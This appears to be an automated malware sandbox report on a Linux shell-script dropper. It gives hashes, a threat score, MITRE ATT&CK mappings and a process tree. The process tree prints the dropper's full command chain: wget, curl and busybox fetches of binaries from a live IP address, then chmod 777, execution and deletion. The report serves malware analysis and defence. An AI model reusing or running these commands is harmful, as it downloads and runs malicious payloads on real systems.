f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70

Analysis

max time kernel
19s
max time network
23s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/10/2024, 04:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70.sh
Size 10KB
Sample241031-eqraysyjbv
SHA256 f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70
MD5 9f621b5ae9a274c5f31121b034dcd264
SHA1 55a6e41d00bd22037b0807bfea4c2f49f167d3c9
SHA512 64848a1443757a02f631db901531c96d8b9a095b51fbc33f0fddaa61bbd73e395ebb4c8e088507e7f60edef1ffbfe3cb1daf05f366b4a07424302ac58bdd1868
SSDEEP 192:kqebgk/Oe33Sr3H7LnD/UDLGCgkj33Sr3r7XD/UDL6T:kqeTOTPzT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
732	chmod
746	chmod
762	chmod
703	chmod
714	chmod
720	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB	705	A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
/tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH	715	5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
/tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU	721	V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
/tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq	733	EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
/tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT	747	ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
/tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P	763	cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq	curl
File opened for modification	/tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT	curl
File opened for modification	/tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P	curl
File opened for modification	/tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB	curl
File opened for modification	/tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH	curl
File opened for modification	/tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU	curl

/tmp/f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70.sh
/tmp/f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70.sh
1⤵
PID:674
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:677
- /usr/bin/wget
  wget http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:701
- /bin/chmod
  chmod 777 A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  ./A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - Executes dropped EXE
  PID:705
- /bin/rm
  rm A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:713
- /bin/chmod
  chmod 777 5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  ./5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - Executes dropped EXE
  PID:715
- /bin/rm
  rm 5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:716
- /usr/bin/wget
  wget http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:719
- /bin/chmod
  chmod 777 V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  ./V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - Executes dropped EXE
  PID:721
- /bin/rm
  rm V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:722
- /usr/bin/wget
  wget http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:729
- /bin/chmod
  chmod 777 EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  ./EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:743
- /bin/chmod
  chmod 777 ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  ./ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:759
- /bin/chmod
  chmod 777 cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  ./cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - Executes dropped EXE
  PID:763
- /bin/rm
  rm cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:764
- /usr/bin/wget
  wget http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:765

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB

Path /tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads